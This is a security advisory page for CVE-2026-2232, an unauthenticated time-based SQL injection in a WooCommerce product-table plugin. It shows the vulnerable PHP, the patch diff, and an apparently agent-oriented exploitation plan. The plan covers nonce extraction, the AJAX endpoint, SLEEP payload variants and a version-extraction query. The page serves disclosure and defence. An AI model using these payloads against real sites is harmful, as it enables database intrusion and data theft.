CVE-2026-2232

Product Table and List Builder for WooCommerce Lite <= 4.6.2 - Unauthenticated Time-Based SQL Injection via 'search' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
4.6.3
Patched in
2d
Time to patch

Description

The Product Table and List Builder for WooCommerce Lite plugin for WordPress is vulnerable to time-based SQL Injection via the 'search' parameter in all versions up to, and including, 4.6.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.6.2
PublishedFebruary 18, 2026
Last updatedFebruary 19, 2026
Affected pluginwc-product-table-lite

What Changed in the Fix

Changes introduced in v4.6.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2232 - Product Table and List Builder for WooCommerce Lite ## 1. Vulnerability Summary The **Product Table and List Builder for WooCommerce Lite** plugin (versions <= 4.6.2) is vulnerable to an unauthenticated time-based SQL Injection. The flaw exists in the p…

Show full research plan

Exploitation Research Plan: CVE-2026-2232 - Product Table and List Builder for WooCommerce Lite

1. Vulnerability Summary

The Product Table and List Builder for WooCommerce Lite plugin (versions <= 4.6.2) is vulnerable to an unauthenticated time-based SQL Injection. The flaw exists in the product search logic within search.php. Specifically, when the plugin performs a complex search (non-default), user-supplied input from the search parameter is improperly sanitized or escaped before being interpolated into raw SQL queries. This allows an attacker to append time-based SQL payloads (e.g., SLEEP()) to the query, facilitating data extraction from the database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: wcpt_load_products (inferred from plugin functionality)
  • Vulnerable Parameter: search (passed as part of the AJAX request data)
  • Authentication: Unauthenticated (wp_ajax_nopriv_wcpt_load_products)
  • Payload Type: Time-based Blind SQL Injection.

3. Code Flow

  1. Entry Point: A user visits a page containing a product table shortcode (e.g., [wcpt_table id="123"]). The frontend JS sends an AJAX request to admin-ajax.php with the action wcpt_load_products.
  2. Handler: The AJAX handler (likely in main.php or includes/) receives the request. It extracts the search parameter from $_POST and populates an array (often named $filter_info).
  3. Sink: The handler calls wcpt_search($filter_info) in search.php.
  4. Vulnerable Path:
    • wcpt_search checks if use_default_search is empty.
    • It processes $filter_info['keyword'] (which holds the search value) via trim() and strtolower().
    • It performs various keyword replacements based on plugin settings.
    • The code then enters complex search blocks (e.g., searching titles, content, custom fields).
    • In the complex search sections (starting around line 245 in search.php), queries are built. If a specific field search (like custom_field or attribute) does not use $wpdb->prepare() for the keyword parts or if it interpolates sanitized text into a LIKE clause without SQL-specific escaping, the injection occurs.

4. Nonce Acquisition Strategy

The plugin typically requires a nonce for its AJAX requests to prevent CSRF, even for unauthenticated users. The nonce is localized in the page source.

  1. Shortcode: Identify the shortcode used to display tables: [wcpt_table id="ID"].
  2. Preparation: Create a published page containing this shortcode.
  3. Extraction:
    • Navigate to the page using browser_navigate.
    • The plugin localizes data via wp_localize_script under the handle wcpt-main.
    • JS Variable: wcpt_local
    • Nonce Key: nonce
    • Command: browser_eval("window.wcpt_local?.nonce")

5. Exploitation Strategy

We will use the http_request tool to send a POST request to the AJAX endpoint with a time-based payload.

  • URL: {{BASE_URL}}/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: wcpt_load_products
    • nonce: {{EXTRACTED_NONCE}}
    • table_id: {{TABLE_ID}} (The ID of a created product table)
    • search: test') OR (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1 (Note: Payload may need adjustment based on the exact query structure, e.g., escaping brackets).

Payload Variants:

  1. test' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1
  2. test") OR (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ("1"="1
  3. test%') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('%'='

6. Test Data Setup

  1. Create Products: Use WP-CLI to create at least one WooCommerce product.
    wp post create --post_type=product --post_title="Test Product" --post_status=publish
    
  2. Create Product Table: The plugin stores tables as a custom post type wcpt or in wp_options. Creating one via WP-CLI might be complex; it is better to ensure the "Lite" default settings are initialized.
    • The plugin initializes default settings in wcpt_ensure_default_settings() in main.php.
  3. Page Creation:
    wp post create --post_type=page --post_title="Product Table Page" --post_status=publish --post_content='[wcpt_table id="default"]'
    
    Note: If "default" is not a valid ID, use a numerical ID found via wp post list --post_type=wcpt.

7. Expected Results

  • Baseline: A standard search request for test should return in < 1 second.
  • Attack: A request with SLEEP(5) should take approximately 5 seconds or more.
  • Response Body: Usually a JSON object with a success key and product data/HTML.

8. Verification Steps

  1. Check Response Time: Verify the http_request response time matches the SLEEP() duration.
  2. Database Integrity: Confirm no unintended changes were made to the database (SQLi is C:H/I:N/A:N, so focus on extraction).
  3. Data Extraction Test: Attempt to extract the database version:
    • search: test') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a WHERE VERSION() LIKE '8%') AND ('1'='1

9. Alternative Approaches

  • Boolean-Based: If time-based is unstable, check if different payloads (e.g., AND 1=1 vs AND 1=2) result in different product counts in the JSON response.
  • Targeting Different Fields: If search fails, test parameters like sorting or filters if they are also processed in wcpt_search.
  • Archive Overrides: If the wcpt_load_products action is not the trigger, look at how the plugin handles the native WordPress search results if the "Archive Override" feature is enabled in main.php.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Product Table and List Builder for WooCommerce Lite plugin is vulnerable to unauthenticated time-based SQL Injection via the 'search' parameter. This is due to the 'wcpt_search' function in 'search.php' concatenating user-supplied input into raw SQL queries without sufficient preparation using the WordPress $wpdb->prepare() method.

Vulnerable Code

// search.php around line 546
  if ($permitted['phrase_like']) {
    $esc_keyword_phrase = $wpdb->esc_like($keyword_phrase);
    $post_ids = apply_filters('wcpt_search__query_results', $wpdb->get_col($query . " LIKE '%$esc_keyword_phrase%'"));

---

// search.php around line 574
      // Build the query
      $exact_query = $base_query .
        "WHERE " . $fixed_conditions .
        "AND (
                " . end($conditions_parts) . " = '$esc_keyword' 
                OR " . end($conditions_parts) . " LIKE '% $esc_keyword %' 
                OR " . end($conditions_parts) . " LIKE '$esc_keyword %' 
                OR " . end($conditions_parts) . " LIKE '% $esc_keyword'
            )";

---

// search.php around line 595
      // Build the query with LIKE
      $like_query = $base_query .
        "WHERE " . $fixed_conditions .
        "AND " . end($conditions_parts) . " LIKE '%$esc_keyword%'";

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wc-product-table-lite/4.6.2/search.php /home/deploy/wp-safety.org/data/plugin-versions/wc-product-table-lite/4.6.3/search.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wc-product-table-lite/4.6.2/search.php	2025-11-12 13:30:30.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wc-product-table-lite/4.6.3/search.php	2026-02-10 10:33:36.000000000 +0000
@@ -546,7 +546,15 @@
   // phrase like
   if ($permitted['phrase_like']) {
     $esc_keyword_phrase = $wpdb->esc_like($keyword_phrase);
-    $post_ids = apply_filters('wcpt_search__query_results', $wpdb->get_col($query . " LIKE '%$esc_keyword_phrase%'"));
+    $post_ids = apply_filters(
+      'wcpt_search__query_results',
+      $wpdb->get_col(
+        $wpdb->prepare(
+          $query . " LIKE %s",
+          '%' . $esc_keyword_phrase . '%'
+        )
+      )
+    );
     $location['phrase_like'] = $post_ids;
 
     foreach ($wcpt_search__keyword_product_matches as $_keyword => $post_ids) {
@@ -567,15 +575,18 @@
       $conditions_parts = explode('AND', $query_parts[1]);
       $fixed_conditions = implode('AND', array_slice($conditions_parts, 0, -1));
 
-      // Build the query
-      $exact_query = $base_query .
-        "WHERE " . $fixed_conditions .
-        "AND (
-                " . end($conditions_parts) . " = '$esc_keyword' 
-                OR " . end($conditions_parts) . " LIKE '% $esc_keyword %' 
-                OR " . end($conditions_parts) . " LIKE '$esc_keyword %' 
-                OR " . end($conditions_parts) . " LIKE '% $esc_keyword'
-            )";
+      // Build the query using prepare() for safety
+      $exact_query = $wpdb->prepare(
+        $base_query . "WHERE " . $fixed_conditions .
+        "AND (" . end($conditions_parts) . " = %s
+              OR " . end($conditions_parts) . " LIKE %s
+              OR " . end($conditions_parts) . " LIKE %s
+              OR " . end($conditions_parts) . " LIKE %s)",
+        $esc_keyword,
+        '% ' . $esc_keyword . ' %',
+        $esc_keyword . ' %',
+        '% ' . $esc_keyword
+      );
 
       $post_ids = apply_filters('wcpt_search__query_results', $wpdb->get_col($exact_query));
       $location['keyword_exact'] = array_merge($location['keyword_exact'], $post_ids);
@@ -592,10 +603,13 @@
       $conditions_parts = explode('AND', $query_parts[1]);
       $fixed_conditions = implode('AND', array_slice($conditions_parts, 0, -1));
 
-      // Build the query with LIKE
-      $like_query = $base_query .
+      // Build the query with LIKE using prepare()
+      $like_query = $wpdb->prepare(
+        $base_query .
         "WHERE " . $fixed_conditions .
-        "AND " . end($conditions_parts) . " LIKE '%$esc_keyword%'";
+        "AND " . end($conditions_parts) . " LIKE %s",
+        '%' . $esc_keyword . '%'
+      );
 
       $post_ids = apply_filters('wcpt_search__query_results', $wpdb->get_col($like_query));
       $location['keyword_like'] = array_merge($location['keyword_like'], $post_ids);

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker first obtains a valid AJAX nonce by visiting a public page where a product table is rendered (e.g., via a [wcpt_table] shortcode). The nonce is localized in the page source under the JS variable 'wcpt_local.nonce'. The attacker then sends a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'wcpt_load_products' and the 'search' parameter containing a time-based SQL injection payload, such as "test') OR (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND ('1'='1". Because the plugin fails to use prepared statements for this search logic, the SLEEP command executes on the database server, allowing the attacker to infer sensitive data via response time analysis.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.